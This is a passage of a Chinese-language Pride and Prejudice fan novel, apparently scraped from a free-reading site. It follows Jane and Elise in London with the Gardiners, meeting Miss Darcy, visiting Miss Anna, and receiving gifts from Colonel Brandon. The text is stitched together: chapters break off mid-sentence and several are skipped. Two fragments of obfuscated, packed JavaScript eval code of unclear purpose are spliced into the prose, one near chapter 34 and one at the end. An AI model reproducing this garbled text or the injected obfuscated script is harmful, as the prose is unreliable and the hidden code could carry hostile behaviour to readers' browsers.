“怪不得他和那位傲慢的达西先生是朋友。” “只是失恋而已。许多青年见一个爱一个，谁能保证他们口中的爱是真是假？”加德纳舅妈说，“年轻小姐总要尝一尝爱情的苦涩，这样才会品味到之后的甜蜜。简生得这般好，嫁妆再一添，多的是绅士的追求。” “你的意思是？” 班内特太太瞬间停住了唠叨。在旁边当背景板的小姐们齐齐望向她。 加德纳舅妈微微一笑：“先前说的那笔生意，现在已经回了本。他们大概在书房里对账呢。” “那就是说……”班内特太太捂住心口，“接下来就要赚钱了？” 看着加德纳舅妈笃定的神色，小姐们再按捺不住心中的喜悦，饶是沉浸在失意中的简，也很难不为之开心。 “所以啊，福气都在后头呢，急不得。”加德纳舅妈拍拍班内特太太的手背，示意她放宽心。 “我就是替简可惜，宾利先生多少是个年轻才俊。”班内特太太难得识情识趣，没再往下说。她被这突如其来的好消息振奋了精神，又生龙活虎地奔向厨房，打算叫女仆加道班内特先生喜欢的菜犒劳犒劳他。 她一走，气氛活跃起来。 莉迪亚和凯瑟琳等不及要去试新衣服，玛 31.第三十一章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 住到加德纳舅妈家的日子，细说起来和郎伯恩没什么区别，只是玩伴从姐妹变成了三个孩子。 乔纳森今年九岁，热衷于学习大人的做派，把可爱的脸蛋绷紧，做出一副我很稳重的模样。安德鲁和安妮闹着要再玩会时，他还会帮着劝两个弟弟妹妹。 好在他前两年虽然调皮，可做哥哥的仿佛天然有一种威力，安德鲁和潘妮多数老老实实地放下玩具。 简和家里的妹妹虽有年龄差距，可一起长大、学习，玩闹，相近的距离模糊了对彼此成长阶段的认知。乍一见乔纳森这般小大人的模样，简有些怔楞，感慨小孩子真是一见一个样，变化太快。 “等你们以后有了自己的孩子，那才叫一天一个样，印象里还是抱在怀里软绵绵的一团，结果一回神，早就能说会跳了。” 加德纳舅舅笑看着简和艾莉丝。 “就像你们姐妹几个，一转眼就长成了漂亮的小姐。这段时间，有空就多出去走走，别老闷在屋子里，附近的商业街新开了不少店铺，要有喜欢的就买下来，舅舅出钱。” “是啊，别和你们舅舅客气。”加德纳舅妈说，“他投资的工厂收益好得出奇，巴不得花点钱心里踏实点。” 他们夫妻俩算是看着班内特家的小姐们长大，打心眼里把她们当成自己的半个孩子：“千万别和我们客气。” 面对舅舅舅妈的好意，简心里十分感动，她想不出可以回报的，便在教导潘妮弹钢琴的事上格外用心。回忆起莉迪亚小时候坐不住的事，她特意学习安娜小姐，像是上课一样安排了休息时间，和一些力所能及又能逗小女孩开心的奖励。 如是过了几天，艾莉丝看简的精神状态不复在家里时的不振，仿佛一切都已经过去，她正暗道让简来伦敦的举措真是再正确不过，却在一次深夜里发觉简的失常。 未被烛火点亮的昏暗中，只有月光透过窗户，洒落一地的银白。 早该睡下的简却坐起了身，她靠着枕头，摩挲着膝盖上一封封信件。白日里总是挂着浅笑的脸庞，在月影的笼罩下蒙上一层忧伤。 “简……” “吵醒你了吗？” 哪怕自己正伤心，简第一反应永远是自己是否影响了别人。她眨了眨眼，又扯出笑来，艾莉丝也全当月光并未照清她绺湿的眼睫。 “我做了个梦，梦醒就见你还没睡。”艾莉丝问，“简，你是不是还在想宾利先生？” 简将拆开的信重新叠好，上面的内容一一遍遍翻阅中早已记在脑海中，再拿出来好像只是为了更好地说服自己。 “别太担心我，艾莉丝。”简说，“哪怕把宾利先生当做朋友看待，他也是位可爱的朋友。我们交往中的美好，不会因为对他看法的转变而褪色。” “哪有人会用对待喜欢的人的态度，去对待朋友。简，难道你真的认为宾利先生对你只是朋友的感情吗？” 那一支支暧昧浮动的舞蹈，那一道道流连不去的眼神，那一句句爱意涌动的话语，难道都是虚假的吗？难道她们这些年轻小姐不知事，连有过阅历的长辈也会搞混爱情与友谊？ 艾莉丝握住简冰凉的手：“难道，你甘心这么不明不白地结束吗？”她的目光灼灼，像是一簇小小的火焰，将黑暗中的迷雾驱散。 “我到伦敦的第一天，就给卡洛琳去了信。” “她怎么说？” “卡洛琳表示对我的到来感到十分欢喜，但很可惜，她们这会正在达西先生那做客。” ‘一段时日未见，达西小姐出落地更加美丽，查尔斯连连夸赞她的姿容气度。我敢保证，查尔斯对达西小姐有意，他又一向讨小姐们的喜欢，或许下次来信，我就能高兴地告诉你一桩众人乐见的喜事。如果有空的话，我和路易莎会过来拜访你的，期待与你的见面。’ 过去一礼拜，简每天都会注意屋外驶过的马车，卡洛琳和路易莎的身影从未出现过。 “她们极力促成宾利先生和达西小姐的婚事，无外乎两个原因。”艾莉丝和伊丽莎白私下里讨论过，“第一个原因自然是达西小姐有不菲的身家，第二个原因则是宾利小姐对达西先生有意，她想亲上加亲。” 虽然她们都认为宾利小姐的成功率不高，倘若达西先生有这个想法，哪还会拖到现在都没个苗头，再则……柯林斯先生的那位恩主凯瑟琳夫人，是达西先生的姑妈，说不定她也会在达西先生的婚姻大事里掺一脚。 “哪个原因都好，卡洛琳和路易莎都没有和我成为姐妹的意愿，她们希望宾利先生娶其他人，即使我和宾利先生在一起，生活里未必没有烦恼。”在无人知晓的角落里，简思考了许多，她承认自己对宾利先生的感情不是一朝一夕就能忘怀，但时间能够冲淡一切，“我只是不想我和她们的友谊受到影响。” 她反过来开解艾莉丝：“不用过多的为我忧虑。爱本就不是一味的幸福，总有人要在上面吃点苦头。” 简表现的如此通透，艾莉丝再说不出其他。 “先前舅舅他们劝我们多出去逛逛，不如我们挑个时间去附近散散心？” 说要散心，隔天艾莉丝就跟加德纳夫妇提起。安德鲁和潘妮在家待久了，闻言便吵着要去，乔纳森本想摆出做哥哥的派头，这会却没被弟弟妹妹买账。 “乔纳森不想去的话，”缠着艾莉丝的潘妮大声说，“可以让露西在家陪你。” 安德鲁在一边点头：“对，我和潘妮要去玩。” 深感在大人面前丢脸的乔纳森一下子红了脸：“可是简和艾莉丝这几天一直陪着你们。”他励志要成为一名绅士，首先从体谅女士开始，“我们得让她们休息会。” “我们明明就很听话，简教的钢琴，艾莉丝教的绘画，我们都有认真学。即便是玩，也是经过简和艾莉丝的同意。”潘妮还小，口齿却很伶俐，她眨着水汪汪的眼睛，不服气地向艾莉丝确认，“难道艾莉丝你觉得和我们一起很累吗？” “这不一样。”乔纳森一时间没法说清让她们单独出去散心，和带着小孩一起散心的区别，“反正，我们不能老是跟在简和艾莉丝身边。” “只有长大的小孩才不能老粘着大人。”安德鲁拍拍胸脯，“我还小，所以可以。” 乔纳森简直要被自己的弟弟气到，他鼓起脸：“我这是成熟的表现。” “如果成熟就是不能和姐姐出门玩，我还是不要变得成熟了。”安德鲁不甘示弱。 “好啦好啦。”艾莉丝一手拉着一个就要脸贴脸的兄弟俩，“乔纳森的意思是每个人都得有自己的时间，就像潘妮玩娃娃的时候不喜欢有人打断，安德鲁你看书的时候也不喜欢老有人和你搭话。”她又空出手揉了揉潘妮的脑袋，“潘妮有好好的完成学习任务，所以和潘妮待在一起非常省心哦。” 得到表扬的潘妮抬起圆圆的下巴：“都怪乔纳森说不清啦。” “因为我看的书还不够多，所以词汇量没有跟上去。”乔纳森后退两步，他才不会真的和弟弟贴脸呢。 看够热闹的加德纳先生呵呵一笑：“一起去吧。我们俩看孩子，简，你和艾莉丝就自己玩去，不用管他们。” “爸爸也同意了，所以你要不要和我们一起去呀？”安德鲁问。 乔纳森扭扭捏捏，还是小声地说了句“去”。 “早这样不就好了嘛。”潘妮摇晃着脑袋。 在孩子们为要不要去争论时，加德纳夫人早有先见之明，专门嘱咐门房先套上马车。等加德纳先生拍板，马车已停在门口。 < 32.第三十二章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 简定睛去看，几米开外的茵茵绿坪上，站着的赫然是宾利姐妹。 她们一左一右，好不热情地围着一位衣着华丽的年轻小姐。认识以来，简没在宾利姐妹脸上看到过这般热切的模样。她们自持身份，总以端庄高雅的姿态出现在众人跟前。 “中间那位不会就是达西小姐吧？”艾莉丝猜，“她看上去年轻极了。” 宾利小姐信里描述的达西小姐，给人一种和她们相去不远的形象——虽然漂亮，但喜欢抬起下巴看人。 实际上，这位达西小姐看上去要比宾利小姐她们亲切多了，她身量不高，身形瘦弱，肤色略显苍白，稻穗般的金发盘成发髻束在脑后，鬓间别着一个珍珠式样的发夹。宾利姐妹面带恭维地和她搭话，她也注视着她们的眼睛，分外认真地倾听，这和她哥哥的气质截然相反——如果她真是达西小姐的话。 艾莉丝又在她们附近来回张望，却没看见有男士的陪同。她看回还在出神的简：“既然碰见了，不如我们上前打声招呼吧。” 简轻轻“嗯”了一声。 恰好，宾利小姐三人正朝这边走来。她们谈得入兴，在发现简和艾莉丝的身影后，想要避开已经为时已晚。 “好久不见，卡洛琳、路易莎。” 艾莉丝也跟着和她们问好，她看着中间有些不知所措又强作镇定的小姐，不由冲她笑了笑。 “噢，简，我真是太意外了……”宾利小姐的神色慌乱极了，她先是和赫斯特夫人相互对视，又连忙装作无事发生，做出惊喜的姿态，“想不到能在海德公园遇见你。我和路易莎本打算抽一天来找你叙叙旧。” “能见到你们，我同样很高兴。”简说，“自从你们不打招呼就离开内瑟菲尔德庄园，梅里顿的人都很想念你们，有时候遇到莫里斯先生还向他打听，清不清楚你们是否会回来。” “嗯，这个嘛，我们准备先在城里过冬，之后的事就不由我们做主了，得看他们男士的安排。不过再怎样，在城里的日子并不难熬，相反有意思的多。”宾利小姐似乎不大想提起宾利先生，她道，“你们还记得我信上写的朋友吗？” “这位就是达西先生的妹妹，乔治安娜·达西小姐。”赫斯特夫人紧跟着说。 宾利小姐又扭头对上达西小姐：“至于这两位，是我们在梅里顿认识的朋友，简·班内特小姐和她的妹妹艾莉丝·班内特小姐。” “日安，班内特小姐、艾莉丝小姐。” “日安，达西小姐。” 她们问过好，便算是认识了。 艾莉丝问：“今天只有你们出游吗？我还以为宾利先生会在一旁陪同。” “查尔斯可不像我们小姐这么清闲，他在伦敦有不少事宜要处理，还有代理人等着和他商讨生意上的事。”宾利小姐语焉不详，“不然，他肯定是要陪我们的。” “那可是太不巧了。”艾莉丝说，“我们大家都还盼望着宾利先生能回梅里顿呢，毕竟大家都认为他是个再和善可亲的人啦。”她看着达西小姐，又违背良心道，“对达西先生也是，大家都很高兴能认识新的人。” 达西小姐不知梅里顿的实情，信以为真，她腼腆地扬起唇角：“想来哥哥在梅里顿的日子过得很开心。” 那位难伺候的达西先生开不开心，艾莉丝不知道，她看出达西小姐挺高兴自己的哥哥受人欢迎，兄妹俩的关系想来很不错。 生怕艾莉丝多问几句，把信里的内容透露出来，宾利小姐看向简：“你们现在是住在格雷斯丘奇街？只有你们到伦敦来吗？” “是的，我和艾莉丝一星期前到的伦敦。” “你们打算在城里过冬吗？” “不出意外，我应该会待到来年春天。”简说，“你和路易莎要是有空，可以随时上门。” “嗯……如果有这个时间的话。城里过冬的娱乐丰富多了，又有很多老朋友要交流感情。”宾利小姐半句不提让简登门，她和赫斯特夫人可不想人知道简来了伦敦。 “班内特小姐和艾莉丝小姐如果愿意，”达西小姐轻声道，“可以来圣詹姆斯街，我和哥哥很乐意招待你们。” 她的邀请让宾利小姐和赫斯特夫人僵了一秒，但她们又没法让达西小姐打消念头，只得扭着笑附和，把圣詹姆斯街的街景和宅邸夸了一遍，着重突出其与靠近商业街的格雷斯丘奇街的不同。 简露出一个真心实意的笑容。她并不因为宾利小姐信里对达西小姐的推崇，以及希望对方成为法律意义上的姐妹，断然对达西小姐心生厌恶——她无法控制一位绅士的心，又怎能嫉恨一位无辜的的小姐。 “非常感谢你的邀请，达西小姐。”简说，“在登门拜访之前，我和艾莉丝一定会派人向府上送信。” “假使达西小姐肯赏光，我们也非常欢迎在格雷斯丘奇街的屋子里看到你的身影。”艾莉丝道。 眼见事情的发展超出自己的想象，宾利小姐再站不住，她说起晚上有场剧目进行演出，她们差不多该回去准备起来。 尽管达西小姐有意再聊几句，她对达西先生提到过的班内特家的小姐很感兴趣，尤其她们表现得不像是卡洛琳说得那般，但在宾利小姐的提醒下，她不得不和班内特小姐、艾莉丝小姐告别。 “宾利小姐的背影看上去是有人在追她。” “可能是真的赶着回去换衣服，重新梳妆。”简挽起艾莉丝的胳膊，“我们也回去吧，说不定舅舅舅妈已经等着我们了。” 回程的路上，她们不可避免的聊起达西小姐。 姐妹俩对她的印象出奇一致，都认为达西小姐毫无上等人的傲慢。而艾莉丝有认为，比起明面上期待和简相见的宾利小姐，达西小姐的邀请显得有诚意许多，她大可不提，而她们也不会有上门拜访的想法。 “宾利小姐她们并不像是高兴见到我们的样子。” 经此一事， 33.第三十三章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 到了约定好上门的日子，用过早饭后不久，艾莉丝带上画，坐上去安娜小姐宅邸的马车。 和与商业相连的格雷斯丘奇街道相似，安娜小姐的宅邸坐落在临近波特曼广场的一条街区内，附近林立着各色的商店和咖啡馆。马车一路驶过，街道上人来人往，喧闹不绝。但一经拐弯，热闹便像是被隔绝在外，宁静将两边红白相间的联排小别墅笼罩。 拍平裙子上因坐下而皱起的痕迹，艾莉丝真要敲响大门，就见门从内打开。 “是艾莉丝小姐吗？请进，安娜小姐就在里面等你。” 新来的门房显然是收到了叮嘱，时刻注意今天的来客。他帮忙接过马夫手里那几幅画作，跟在艾莉丝身后走进客厅，将其一一摆放开。 不过，安娜小姐并不在客厅。 环顾一圈，艾莉丝注意到正对着窗户的圆桌上放有三层点心瓷盘，分别放有咸口的三明治、Scone和水果塔。 尽管不是下午，安娜小姐仍贴心地为艾莉丝准备了点心。想来，安娜小姐这会应该还在厨房里忙活她最喜欢的饼干。 熟门熟路地走到厨房，果不其然，艾莉丝看见正忙着把黄油曲奇饼干放到碟子上的安娜小姐——她已年过四十，面容却看不出太多的疲态。米白色罩帽下，黑发依旧，仿佛是岁月的眷顾。 艾莉丝又是高兴又是激动，三两步走上前，还不忘问声好。 看到她来，安娜小姐温柔又慈爱地笑起来，眼尾浅浅几道皱纹，比起衰老的象征，更像是为她褐色的眼眸增添几分时光赋予的阅历之美。 她用围裙擦拭干净手上的饼干碎：“快来尝尝味道怎么样，我有些时日没做了，不知道甜度合不合你的胃口。” “不用尝我也知道，味道肯定是刚好的。”艾莉丝也忍不住跟着笑。 就着冬日里难得的好晴光，她们站在台边吃着香甜可口的小饼干，又聊起自上一次分别以来发生的有趣的事。 梅里顿的日子大同小异，但艾莉丝仍旧有分享不完的事。 像是备受宠爱的小辈，她对安娜小姐谈起自己结交的、为人包容的新朋友，夸他是个再正派不过的绅士，又不住抱怨那继承郎伯恩家产的表哥偏爱恭维，又自认水平了得，夜间的诵读简直叫她们无聊到打盹。 谈到柯林斯先生，他在几天内连续求了两次婚的事自然少不了。 “对于丽齐而言，她的选择是正确的。”安娜小姐说，“婚姻是她的事，她不想因为班内特夫人对未来的担心就罔顾自己的意愿，用自己不幸的婚后生活换取郎伯恩的女主人身份，哪怕是为了她的妈妈和妹妹们。” 安娜小姐之所以被称呼为小姐，而非某某夫人，最直观的原因是她至今未婚。这并非是指安娜小姐不愿结婚，或是无人追求，她曾经有过一位未婚夫——两人的订婚纯粹是出于彼此相爱。 只是命运弄人，战争的硝烟夺去了太多人的生命，无数的父亲、丈夫和兄弟，倒在血泊中，再踏不回故乡，其中就包括安娜小姐的未婚夫。她的兄长，只来得及带走对方一直珍藏在胸口，并放有安娜小姐小像的怀表。 艾莉丝不敢想象如果自己是当时的安娜小姐，在从兄长口中听闻噩耗，又接过被摩挲到光滑的怀表时会是怎样的悲恸。她只知道，现在的安娜小姐没再答应过任何一位绅士的求婚，但她也没有沉湎于无尽的悲痛中，而是努力地过好当下的每一天。 她很敬佩安娜小姐。 “我明白……柯林斯夫人的选择也没有错。”艾莉丝道，“我先前认为爱情或早或晚都会降临，却忘了不是每一段感情都能善终。”面对安娜小姐写满鼓励的双眼，她又说：“意识到这一点后，我突然有些害怕自己也会步入父母，或者是柯林斯夫妇那样的婚姻。” 她深吸一口气：“我怕我不像丽齐那般坚定，可以坚持到属于自己的幸福，又怕自己轻易妥协，在无止境的后悔中艰难度日。” “不要预设未来，也别为未来焦虑，艾莉丝。”安娜小姐抚过艾莉丝鬓边的发丝，“因为我们永远也不知道下一秒会发生什么。” “可如果有一天，我必须要做出选择呢？” “在你犹豫不决的时候，就去仔细听你的心声。它会告诉你答案，只要你别欺骗自己。” 像是迷失的小鹿，艾莉丝似懂非懂，但安娜小姐却不再多给一点提示：“别为遥远的婚姻想那么多，艾莉丝，你正是该憧憬爱情的时候。”她轻轻拍着艾莉丝的手，“接下来，让我们看看你过去一年的进步吧。” 为了方便携带，艾莉丝挑了四副尺寸偏小、未被装框的画过来，其中三幅是人像画，分别画的手持羽毛笔的玛丽、身着棉布棉裙的莉迪亚和手捧调色盘的艾莉丝本人，还有一副郎伯恩的景观画。 正如艺术以感情为烛芯，艾莉丝在为自己的姐妹们作画时，将细腻的情感融入其中，并且默默地燃烧那一份感性。* “艾莉丝，你还是一如既往地擅长捕捉面容和身体。玛丽对书籍渴望的眼神、莉迪亚对新裙子的喜悦笑容，那一瞬间都被你用画笔所描绘，教人一眼看出她们的情绪，就连景观画也像是代表了你内心的世界，满满都是你对郎伯恩的眷恋。” 安娜小姐很满意艾莉丝这一年的进步。 “不过……” 她话锋急转。 “还有更多的技巧和体验需要你去学习感悟。在景观画上，即便是一成不变的乡村之景，在各人眼里亦有各人的景色，如果能和更多的人沟通交流，观摩著名画家的画作，对你来说应该能更有进益。” 尽管如此，安娜小姐也知艾莉丝的社交范围仅在梅里顿，身边没有可以讨论的人。 “你今年打算待到什么时候回郎伯恩？” “安娜小姐，你来年不是要离开伦敦？”艾莉丝回，“我计划待到来年春天，趁着这段时日多多向你讨教。” 安娜小姐不热衷于自己举办沙龙，但她交友广泛， 34.第三十四章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 怀揣着满腔的雀跃，艾莉丝回到舅舅家。 “艾莉丝，你回来啦！”潘妮一听到动静，小跑着过来，“今天有人送来了一个包裹，上面写着你的名字。” “包裹？” “对，一个很大的包裹。”潘妮用手在胸前比划出一个大大的方形，“可重了，安德鲁都拿不起来。” 艾莉丝想不出会有谁给她邮寄东西过来，毕竟她社交圈局限于梅里顿，出门在外只和家里的姐姐通信，要说邮寄东西，恐怕她买了寄给姐姐们更合理些。 她看向潘妮，询问包裹放在了哪里。 “就在客厅里，乔纳森和安德鲁很好奇里面装了什么，他们都在等你回来拆呢。” “潘妮，你不也很好奇嘛！怎么就提我和乔纳森。”安德鲁鼓着一张脸。 潘妮却是双手叉腰：“我才不像你们……扭……”她忘了词，转头拉艾莉丝的衣角。 “扭捏？” “对，我才不想你们这么扭捏呢。” 自知理亏，安德鲁只得哼哼两声，又一脸期待地看着艾莉丝。 “那我们赶紧进去拆包裹。”艾莉丝左手牵着潘妮，右手拉着安德鲁往里走，“我也好奇里面是什么呢。” “艾莉丝你也不知道吗？那是不是说明这是一份礼物？”潘妮兴奋起来。 安德鲁也不例外：“难不成是圣诞礼物？可是圣诞节不都过去了吗？” 比起艾莉丝，两个小孩似乎更加在意包裹里的东西是什么，他们反拉着艾莉丝的手：“艾莉丝，我们走快一些。” “好好好，你们小心摔着。”艾莉丝配合他们的速度。 小客厅内，加德纳舅舅和舅妈在翻阅着各自感兴趣的报纸，简拿着潘妮的小裙子帮她加上一圈蕾丝花边，乔纳森看似认真地看书，但他时不时瞥向门口的眼神已经出卖了他。 而潘妮所说的包裹，就放在圆桌上。 “舅舅，舅妈，我回来了。” “潘妮和你说了吧，她一见到包裹就吵着要第一个告诉你。”加德纳舅妈放下报纸，“门房说是一位打扮得体的绅士亲自送来的。他先是询问这里是否是加德纳的宅邸，然后问艾莉丝?班内特小姐是否在家，最后把东西给了门房就离开了。” 绅士？ 为了验证心中的猜想、艾莉丝快步走到桌前。就像潘妮说的，包裹上写着艾莉丝·班内特小姐收，落款是C?B。 难不成真是布兰登上校？ “艾莉丝，小刀给你。” 摸了把乔纳森梳得整齐的脑袋，艾莉丝道了声谢，随后接过银制刀具，沿着粘合的边缘一点点拆开包裹。 先映入眼帘的是一张写有娟秀字体的信，一看便知出自一位女士之手。可加德纳舅妈又说来者是位先生。 艾莉丝越发不解。 刚把信拿出来，就听到加德纳舅舅和舅妈倒吸了一口凉气，简也是一脸不可思议。 “难道艾莉丝你有一件好消息要告诉我们？”加德纳舅妈试探性地问道。 “什么好消息？”艾莉丝回以迷茫的表情。 “就是…信啊。” 加德纳舅妈的含糊其辞越发教艾莉丝摸不着头脑，她看着信封上的落款，和包裹上的不同，写信人是一位W小姐。顶着舅舅舅妈和简灼热的视线，她展开信，快速浏览里面的内容。 “艾莉丝？”看她扬起笑容，简问，“这位先生的身份是我们新认识的那位吗？” “你们是什么时候确认的关系呢？这样的大事情，班内特先生肯定是最先知道的吧？” 加德纳舅舅问的直白许多，艾莉丝终于反应过来，她羞红了脸，急忙反驳：“不是你们想的那样。寄东西的的确是上校，但是和我通信的是一位小姐。”说着，她把信拿给他们看。 本意并不是窥探艾莉丝的秘秘，在看清字迹后，加德纳拍拍肚子：“哈哈哈哈，原来是我们误会了。” 他又道：“不过根据门房的描述来看，那是一位正派的先生，想也不会做出背着小姐父亲，和小姐私定终身的事。” 要知道，艾莉丝还没到自己决定婚姻的年龄，如果有想要求婚的绅士，必然要经过班内特先生的同意。 “舅舅！”心跳兀的慢了一拍，艾莉丝跺着脚，“你在说什么呀？我和上校只是朋友。”她又不是没见过相爱的人是何种情景。 潘妮问：“艾莉丝是害羞了吗？” “一定是。她的脸都红了。”安德鲁道，“比我们平安夜吃的苹果还红。” “安德鲁，我们不能当着一位淑女的面说她脸红。”乔纳森劝阻。 “你们三个还小呢！”艾莉丝假装捂住潘妮的耳朵，“哪懂什么羞不羞的。脸红还可以是其他情绪引起的，你们可不能乱听舅舅舅妈说的，都是没有影的事。” 怕潘妮她们信以为真，到时候让艾莉丝其他的爱慕者误会，加德纳舅妈赶紧说：“是我们搞错了。艾莉丝说的对，刚刚那些话都是没影的事，你们可不能对别人乱说。” “那我们明天可以多吃一块水果蛋糕吗？”鬼灵精的潘妮问。 安德鲁和乔纳森难得统一了战线，默契地站在潘妮身后，一起用汪汪的眼神看向加德纳太太。 无他，加德纳太太拿手的甜点之一就是香甜可口的蛋糕，加上各个时令的水果，味道更是酸甜美味。奈何，加德纳太太并不允许孩子们多吃。 “就这一次。”加德纳太太松口。 屋子里顿时响起孩子们的欢呼声。但他们还记得没拆完的包裹，安德鲁问：“是不是可以继续拆了，下面还有好多东西呢。” “是画画用的颜料，还有一本介绍花卉的书。” 艾莉丝看过信，已然明白W小姐便是布兰登上校所说的养女，全名是伊莱莎?威廉斯，她从布兰登上校那听说了梅里顿的见闻后，特意写信想和艾莉丝认识，并且随信附赠书籍——艾莉丝曾随口一提想要打理郎伯恩里荒芜的小花园，至于颜料，则是布兰登上校的礼物。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她可没给亲人以外的男性备过礼，而布兰登上校又像是送他什么都会欣然收下的样子。她实在摸不准自己选的几样会不会让布兰登上校真的满意——这还是受玛丽的启发，让她回忆起在内瑟菲尔德庄园里时和上校的对话。 “艾莉丝？” 一转头，简就见艾莉丝皱着眉，一幅心事重重的样子。 “怎么了？是买的东西有问题吗？” “没，我就是想我的礼物是不是不太妥当……”艾莉丝小声说道，“上校特意送了颜料给我，但我的礼物却不是上校的必需品。” 简扫过艾莉丝怀里捧着的几本书，她出言安慰：“也没人规定送礼一定要送实用的东西，有时候单是送礼这个行为，就足够令人惊喜了。” 何况，不知是否是错觉，简总觉得布兰登上校和艾莉丝的相处有种难以言喻的氛围。不说上校，她头回见艾莉丝那般情态地欢迎客人。 41.第四十一章 酝酿了一个白日的雨水终于落下，呼啸的冷风伴随瓢泼的大雨，肆虐了一天一夜，直到第三天的破晓时分才堪堪收敛架势，变得小意起来。 加德纳宅邸内的炉火烧得正旺，不愿意看到鞋子和裙摆染上泥泞的年轻小姐只得窝在客厅里，百般无聊地打发时间。 她们一连翻看了书籍、弹奏了钢琴，还绣了会帕子，可无论哪件事，没法让她们在座椅上踏实地坐上一下午。 前日里遇到宾利先生，简自认自己没有任何失仪的表现，她做到了自己所说的话——用看待朋友的眼光看待宾利先生，所以哪怕宾利先生登门，和她相处的时间再多上几个钟头，简相信自己也能克制住自己的感情。 而艾莉丝满脑子都是今早包装好后送出去的礼物。 一份回礼，却耗费了艾莉丝不少的心思。 她连着两晚苦坐在桌前，对着信纸愁眉不展，平日里伶俐的思维像是生了锈的机器，写下来的话总是词不达意，往往写了一半，就感觉太过郑重，又或者太过随便，于是桌上扔了好几张揉成一团的信纸。 到最后，艾莉丝仅对布兰登上校一直以来的照顾聊表谢意。 也不知上校会怎么看待这份礼物？ 好的坏的猜想纷杂地占据艾莉丝的心神，她低头一看绣帕，上面的走线歪歪扭扭，似乎在抗议她的走神。一时间，艾莉丝彻底没了绣下去的心情。 她把绣活的工具往桌上一放，整个人猛地从沙发上坐起来。 “不如我们来玩游戏吧？” 再不找点事儿做，艾莉丝感觉自己就要被折磨死了。天知道她怎么会这么在意那份礼物是否会合上校的心意。 还在反复思考自己当日的表现自然与否，简一愣：“可是艾莉丝，你想玩什么游戏呢？” “嗯……”艾莉丝被问住，“可是总比干坐着强嘛。” 正巧，安德鲁看书看得发懵，他大声提议：“我们可以玩蒙眼捉人。我来抓你们。”他装牙舞爪，假装凶恶地咆哮了一声。 “可以是可以。但我们应该轮流来抓。”潘妮说，她坐在钢琴椅上好一会，只感觉音符变成了黑色的小点，在眼前直晃悠，偏偏进不到脑子里。 艾莉丝积极响应：“那就玩这个！”她起身，挤到孩子堆里，一句话让乔纳森加入其中，“乔纳森你也一起来玩吧，绅士在学习的同时还得兼顾体质的锻炼才行。” 加德纳舅妈看着一大三小在那闹着谁第一个捉人，吩咐仆人把桌椅往旁边挪挪位，好给他们腾地方，并且充当起裁判，看谁用时最少。 介于安德鲁最先提出来，大家一致认同他首个蒙眼，而被他捉到的就是下一个。 “拿我的吧。”艾莉丝从口袋里掏出帕子，三两下卷成一条，“安德鲁，闭上眼睛。” 等到安德鲁站在正中央，其他人都围着他散开。而安德鲁一边倒数一边转圈，等数到一，他就根据身边的动静到处摸索起来。 有时光看玩游戏，也能区分人的性格。 不大的客厅里，艾莉丝和潘妮围着安德鲁，不时制造点响动，或者是主动碰一碰安德鲁，好几次让他以为自己能抓住，结果又被她俩溜开去。 颇有种逗猫遛狗的感觉。 而简和乔纳森则稳重许多，除了说话声以外，不会刻意让安德鲁发觉自己的所在。 艾莉丝停下来歇口气，就见简和安德鲁隔了两英尺那么远，完全是在游刃有余的范围里。 “简，你躲得太远了，这样就没意思了。” 她正招呼着简再走近点，结果潘妮也正往她的方向躲，一个不察，就被摸瞎的安德鲁抓了个正着。他一边喊着“抓住了，我抓住了”，一边扯下帕子，像是小狗般晃了晃脑袋，好不得意得看向加德纳夫人：“妈妈，我用了多久？” 加德纳夫人扶稳鼻梁上的眼镜，她看着怀表说：“五分钟。” “下一个是艾莉丝了。”安德鲁把帕子交给简。 素净的，没有花样的帕子惹来简的瞩目，不等她细究，玩心大的艾莉丝已经把头凑到了前面，眨着一双明亮的眼睛等着被她蒙上。 “别急，这帕子得用针别上才不会掉。”简逆着艾莉丝发辫的纹理往里别，“好了。” “开始了开始了，你们做好准备哦。”艾莉丝说，“我要倒数了。十、九、八……二、一，我来抓你们啦！” 光点斑斓的黑暗里，艾莉丝只听得到潘妮和安德鲁的笑声，她顺着声源走去，却是摸了个空。 “艾莉丝，你摸太高了。”潘妮反过来提醒她，“这个高度你只能抓到简一个人，可抓不到我们三。” “很好，那我就抓……潘妮你。”艾莉丝故作童话故事里的反派，喊着拟声词就朝前扑去。 “还差一点！艾莉丝你抓不着我。” “下一次就可以了，我肯定能抓着。”艾莉丝又问，“简，乔纳森，你们在哪？” 她上下左右一通比划，结果愣是连个影都没摸着。 “哎？你们人呢？” 一下子没了音儿，艾莉丝只得根据自己的判断随便选了个方位。 玩过无数次的安德鲁和潘妮很是默契，他俩可是被艾莉丝用兵不厌诈的方法抓住过好几回，这次也要让她这么输上一回。乔纳森心领神会，立刻加入他们的行列。 眼见着艾莉丝越走越远，快要到加德纳太太那去，简道：“艾莉丝，你快走到壁炉那了，快回头。” “你们在门口吗？” 加德纳太太坐在炉火边，相对应的就是客厅的门口。凭着印象，艾莉丝伸出双手向前摸索，耳边是几个孩子小心移动的窸窣动静，她故意装作没听见，继续问着她们人在哪。 左边的裙摆被安德鲁轻轻拽了一下，但他又飞快地缩回手，紧接着又是被右边的潘妮碰了下腰，这一下可让艾莉丝忍不住笑出了声，一时间都忘了自己原本的计谋。她怕痒怕得厉害，下意识地反方向扭腰，想摸黑躲开潘妮的手。 “小心！” 右前方传来简的声音，艾莉丝还不知道要小心什么，就感觉似乎要踩到安德鲁？ 一个为了拉住，一个又忙着避开，最后简倒是拉住了艾莉丝的手，让安德鲁免于被撞倒的可能，结果她们两人却一个没站稳，跌跌撞撞地倒向一侧。 廊间的脚步声、门房的传报声，以及各个熟悉的“艾莉丝小姐”、“班内特小姐”、“简，艾莉丝”的喊声交织在一起，可谓是一片兵荒马乱。 宾利先生登门前预料了无数种情形，唯独没想过会看见班内特小姐踉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 